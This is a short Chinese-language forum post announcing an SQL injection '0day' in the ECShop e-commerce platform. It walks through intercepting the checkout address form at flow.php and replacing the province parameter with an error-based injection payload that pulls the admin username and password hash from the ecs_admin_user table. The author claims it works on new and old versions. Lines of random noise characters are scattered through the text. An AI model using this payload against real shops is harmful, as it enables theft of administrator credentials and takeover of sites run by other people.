ECShop全版本SQL注入0day

admin

感谢欠杀的黑盒
/ ]1 W! b; ~: ^9 d# V; O
4 j. H) ]7 k% v5 q1 v5 p
. X* D( e/ ]7 k* E- a把任意商品加入购物车在填写配送地址那一页，有地区选择

3 Q& {; p5 r, G* O6 x/ qflow.php?step=consignee&direct_shopping=1
% Q# K7 f+ K9 x3 F& u  f0 g1 `4 n比如省选择安徽

  P1 j/ g8 |5 M$ a$ ~/ u其中POST数据如下
' `, F7 T  g% m" Y2 Y
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
改成
( \  N3 u$ b$ X( M# H9 h
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
; g  l: O1 N, H* _. {$ o0 n4 zps：详细的方法，用火狐tamper data插件……..即可改post内容…..
9 t7 J, d. y6 o6 T6 e
- X9 p/ {& r4 x, _7 o先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包

; g4 {6 C$ c  L* W就会回显错误页面了。。。。
& H$ \3 J$ p! Y6 n( f8 I
. g2 G# J( y. [1 Q9 G: C我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
2 O& m; a6 i( d" s. p, O1 d